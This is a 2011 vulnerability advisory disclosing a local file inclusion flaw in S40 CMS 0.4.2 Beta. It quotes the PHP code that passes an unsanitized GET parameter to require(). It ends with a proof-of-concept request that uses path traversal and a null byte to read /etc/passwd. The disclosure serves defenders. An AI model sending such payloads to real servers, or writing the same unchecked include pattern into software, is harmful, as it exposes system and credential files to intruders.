S40 CMS 0.4.2b LFI Vulnerability

                                                [Script]        S40 CMS 0.4.2 Beta
[Location]      http://s40.biz/?p=download
[Vulnerability] Local File Inclusion
[Original Adv]  http://y-osirys.com/security/exploits/id27
[Author]        Giovanni Buzzin, "Osirys"
[Site]          y-osirys.com
[Contact]       osirys[at]autistici[dot]org
 
 
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[CMS Description]
 
S40 CMS is FREE Content Management System
S40 CMS 0.4 beta is lightwieght flat file CMS written on PHP, suitable for small and medium sites.
S40 is open-source MIT-license CMS developed by AWEN art studio Ltd.
S40 is fast and easy to customize system with build-in installer.
 
 
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[Security Flaw]
 
S40 CMS is prone to Local File Inclusion vulnerability because of poor security checks and bad input
sanitization: GET variables are not properly sanitized before being included via require() PHP function.
 
[code:index.php]
 
<?php
ob_start("ob_gzhandler"); // comment this line to disable gzip compression
require "inc/config.php";
require "inc/langs/".$s40[lang] .".php";
if ($s40[installed]){
    require "inc/functions.php";
    checkinstall();
    require page($_GET[p],$_GET[c],$_GET[g],$_GET[gp]);
 
....
 
[/code]
 
Having a quick look at page() function, the security issue is clear: $pid ($_GET['p']), is not sanitized
or passed through a valid regular expression before being returned to require() function of index.php file.
 
[code:/inc/functions.php:page():line 13]
 
function page($pid,$cid,$gid,$gp){
    if(!isset($pid)){
        $p = "index";
        return "data/".$p.".page.php";
    }else{
        if (isset($pid) and isset($cid)){
            if(!file_exists("data/".$pid.".child.".$cid.".php")){
                return "data/404.inc";
            }else{
                $p = $pid;
                $c = $cid;
                return "data/".$p.".child.".$c.".php";
            }
        }else{
            if(!file_exists("data/".$pid.".page.php")){
                return "data/404.inc";
            }else{
                $p = $pid;
                return "data/".$p.".page.php";
            }
        }
    }
}
....
 
[/code]
 
 
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[Exploit]
 
The security issue can be exploited sending a valid path via GET request. Null Byte must be used in
order to exploit this LFI.
 
PoC : /[cms_path]/?p=[local_file]%00
      /[cms_path]/?p=/../../../../../../../etc/passwd%00
 
 
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[Credits]
 
Credit goes to Giovanni Buzzin, "Osirys"  for the discover of this vulnerability.
(Meglio)
 
 
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[END: 07/04/2011]